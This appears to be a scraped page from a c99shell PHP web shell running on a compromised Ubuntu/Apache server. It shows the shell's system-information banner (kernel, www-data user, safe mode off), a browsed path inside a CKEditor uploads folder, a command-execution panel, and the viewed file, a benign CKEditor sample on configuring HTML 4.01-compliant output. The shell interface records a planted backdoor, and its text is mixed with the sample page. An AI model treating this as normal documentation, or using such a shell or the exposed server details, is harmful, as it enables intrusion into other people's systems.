Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /uploads/assets/js/ckeditor/samples/old/htmlwriter/ drwxr-xr-x | |
| Viewing file: Select action/file-type: CKEditor Samples » Producing HTML Compliant Output
This sample is not maintained anymore. Check out the brand new samples in CKEditor Examples.
This sample shows how to configure CKEditor to output valid
HTML 4.01 code.
Traditional HTML elements like To add a CKEditor instance outputting legacy HTML 4.01 code, load the editor using a standard JavaScript call, and define CKEditor features to use the HTML compliant elements and attributes. A snippet of the configuration code can be seen below; check the source of this page for full definition:
CKEDITOR.replace( 'textarea_id', {
coreStyles_bold: { element: 'b' },
coreStyles_italic: { element: 'i' },
fontSize_style: {
element: 'font',
attributes: { 'size': '#(size)' }
}
...
});
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0173 ]-- |